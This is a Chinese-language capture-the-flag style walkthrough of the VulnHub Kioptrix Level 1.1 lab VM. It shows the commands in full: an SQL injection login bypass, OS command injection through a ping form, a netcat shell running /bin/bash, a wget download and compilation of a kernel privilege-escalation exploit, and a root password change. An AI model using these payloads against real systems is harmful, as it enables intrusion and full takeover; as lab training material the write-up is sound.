【Vulnhub通关】Kioptrix: Level 1.1 (#2)

329 阅读7分钟

准备工作

靶机基本信息

靶机名称:Kioptrix Level 1.1(#2)
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机root权限和交互式Shell
下载地址: Kioptrix: Level 1.1 (#2) ~ VulnHub

下载

  • 打开下载链接,将RAR格式的压缩包解压至指定目录。
  • 点击VMware Workstation中的 File -> Scan for Virtual Machines 按钮,在弹出的对话框中选择正确的目录,扫描虚拟机添加即可。

信息收集

主机发现

由于靶机的网络类型为桥接至物理网络,所以将攻击机也置于物理网络下,网段为:192.168.2.0/24,攻击机IP地址为192.168.2.104。使用netdiscover工具进行网络扫描:

# netdiscover带上-r参数可以只在指定的网段中扫描
netdiscover -r 192.168.2.0/24

其中MAC Vendor/Hostname这一项为VMware, Inc.的就是靶机。(IP:192.168.2.114

目标扫描

目标IP地址已经锁定,接下来可以扫描靶机的开放端口。先进行ICMP连通性测试

# Ping四次靶机
ping -c 4 192.168.2.114

ping连通性测试.jpg

很好,看来目标靶机大概率没有ICMP防火墙之类的东西。接下来使用nmap探测靶机开放端口:

nmap开放端口扫描.jpg

可以看到目标靶机开放了6个TCP端口22801114436313306。加上其它参数对其进行详细扫描:

# -sC    使用默认脚本探测目标所有TCP端口
# -A     探测目标操作系统和软件版本
nmap -sC -A 192.168.2.114

可以详细的看到主机开放端口信息:

端口号传输层协议应用层协议详细信息

22

TCP

SSH

OpenSSH 3.9p1 (protocol 1.99)

80

TCP

HTTP

Apache httpd 2.0.52 (CentOS)

111

TCP

RPC

2 (RPC #100000)

443

TCP

HTTPS

Apache httpd 2.0.52 (CentOS)

631

TCP

IPP

CUPS 1.1

3306

TCP

mysql

MySQL (unauthorized)

同时确定靶机操作系统为CentOS Linux,内核版本在2.6.92.6.30之间。

服务探测

互联网打印服务(631)

首先使用BurpSuite访问一下该服务端口,发现提示拒绝访问:

于是尝试修改请求包中的X-Forwarded-ForHost字段数据:

GET / HTTP/1.1
Host: 127.0.0.1:631
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1

HTTP字段解释:

  1. Host          ---- 用于区分客户端请求哪个站点
  2. X-Forward-For        ----  用于识别客户端的“真实”IP地址

如果服务端基于这两个字段的内容编写检测代码(即如果XFF头或Host头不为本地环回地址,则拒绝访问),那么将上述两项字段修改为127.0.0.1即可。

但非常明显这不奏效:

已经知道CUPS打印服务器的版本为1.1无法正常访问服务,对631号端口服务的初步探测结束。

MySQL服务(3306)

使用nc工具向MySQL服务器发送数据包以获取banner信息:

nc 192.168.2.114 3306

返回以下信息:

看来靶机的MySQL服务不允许用户远程登录。尝试使用nmap对MySQL服务进行脚本扫描:

由于MySQL禁止远程登录,扫描失败。对MySQL服务的初步探测结束。

SSH服务(22)

首先使用nc工具探测一下端口的banner信息:

nc 192.168.2.114 22

返回了SSH服务的版本信息SSH-1.99-OpenSSH_3.9p1

探测结束。

HTTP/S服务(80、443)

首先访问HTTP服务,在浏览器中输入网址——http://192.168.2.114/,浏览主页信息:

主页上是一个网页登录框,标题上的英文意思为“远程系统管理界面登录”,查看页面HTML源代码,发现以下敏感信息:

  • 网站的开发语言为PHP
  • 用户名的正确值貌似为Administrator

使用dirsearch工具进行目录扫描,发现4个可访问点:

  • /index.php网站主页
  • /index.php/login/登录框,和主页一样
  • /manual -> http://192.168.2.114/manual/301跳转
  • /manual/index.htmlApache软件帮助文档,忽略)

探测结束。


渗透攻击

Web应用程序渗透

既然靶机的Web应用程序只有主页登录框可以作为攻击点,那么只能在登录框处做手脚,尝试进行SQL注入
爆破密码什么的是不可能的,一辈子都不可能的 ( ᗜ ‸ ᗜ )

首先在登录页面随便输入一串用户名和密码,打开BurpSuite抓取HTTP请求包,确认网页路由信息

从中可以看到三个关键参数:

  • uname    => 用户名信息
  • psw     => 登录密码信息
  • btnLogin => 判断用户是否点击登录按钮

大致猜测后端SQL查询语句如下:

<?php
    /* More PHP codes ... */
    $username = $_POST['uname'];
    $password = $_POST['psw'];
    $isLoginInfo = $_POST['btnLogin'];
    if ( $isLoginInfo ){
        /* More PHP codes ... */
        $result = $sql_operator -> query("SELECT id FROM `userdata` WHERE username = '{$username}' AND password = '{$password}'");
        /* More PHP codes ... */
    }
    /* More PHP codes ... */
?>

尝试使用“万能密码”登录:'+or+true/*

如果这条登录信息未被转义或过滤,那么SQL查询语句就会变成:

SELECT id FROM `userdata` WHERE username = ''+or+true/*' AND password = 'PASSWORD';       */

可以看到查询条件username变成了空值,并加上了查询条件“如果查找不到指定的username值,就查出表中所有信息”,后面原本的查询条件全部被注释了

这时,我们已经成功登录上了管理后台。使用浏览器访问发现管理后台长这样:

非常明显,这是一个执行操作系统命令的界面,它的本来作用是接收一个IP地址并执行ping命令,但我们可以进行OS命令注入

127.0.0.1 & id

推测后端代码为:

<?php
    $ip_addr = $_POST['ip'];
    if (isset( $ip_addr )){
        echo($ip_addr."<br>");
        exec("ping -c 3 {$ip_addr}");
    }
?>

这样就会在ping命令执行成功之后执行id命令。我们可以通过id命令获取当前登录的操作系统用户名

可以看到当前登录的用户名是apache,UID为48

接下来准备使用netcat反弹OS Shell到靶机本地监听端口上,再使用攻击机的netcat连接靶机目标端口,看了下攻击机IP地址:

截图_选择区域_20231003104843.png

首先需要查看目标靶机中是否有netcat使用find命令可以在整个根目录下寻找指定名称的文件,在管理后台页面中输入:

127.0.0.1 && find / -name nc

可以看到成功找到了nc命令的路径:

只要找到了netcat的安装路径,就可以反弹Shell了。在靶机命令页面输入框中输入:

192.168.2.108 && /usr/local/bin/nc -lvnp 4444 -e /bin/bash

然后使用攻击机的netcat连接靶机的4444端口:

nc -vv 192.168.2.114 4444

可以看到成功连接至靶机。

提示:使用netcat工具连接靶机时一开始没有交互式Shell,可以使用Python中的pty类库获取交互式Shell,代码如下:

import pty
pty.spawn("/bin/bash")

确定操作系统信息如下

  • IP地址为192.168.2.114
  • 操作系统为CentOS 4.5
  • Linux内核版本为2.6.9

接下来进入权限提升部分。


权限提升

首先看到靶机的操作系统为CentOS 4.5,发布时间为2007年5月,因此认为该操作系统可能存在一些已经公开的内核漏洞,优先进行内核漏洞利用提权

在Kali Linux中使用searchsploit命令搜索漏洞数据库:

searchsploit centos 4.5

可以看到搜索出了大量的漏洞信息,过滤掉绝大多数无关信息之后,决定选用这个EXP:

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privi | linux_x86/local/9542.c 

将EXP复制到工作目录下,赋予适当的权限,然后使用Python3的http.server启动一个简单的HTTP服务器:

# 复制EXP
searchsploit -m 9542.c
# 启动HTTP服务器
python3 -m http.server

在已经获取的靶机Shell中使用wget命令下载EXP源代码文件:

cd /tmp
wget http://192.168.2.108:8000/9542.c

提示:靶机的网页目录没有写入权限,需要先切换至/tmp目录之后再进行下载

使用gcc编译EXP源代码,赋予文件执行权限,执行EXP:

gcc ./9542.c -o 9542
chmod 777 ./9542
./9542

可以看到成功提权:



接下来使用passwd命令更改root账户密码:

sh-3.00# passwd root
passwd root
Changing password for user root.
New UNIX password: *********
Retype new UNIX password: *********
passwd: all authentication tokens updated successfully.
sh-3.00# 

再然后就可以使用ssh连接靶机了(注:这里因为缺少密钥算法,需要手动添加):

echo "Host 192.168.2.114" >> ~/.ssh/config
echo "    KexAlgorithms +diffie-hellman-group-exchange-sha1" >> ~/.ssh/config
echo "    HostKeyAlgorithms +ssh-rsa" >> ~/.ssh/config
ssh root@192.168.2.114

成功!!!


本次靶机渗透到此结束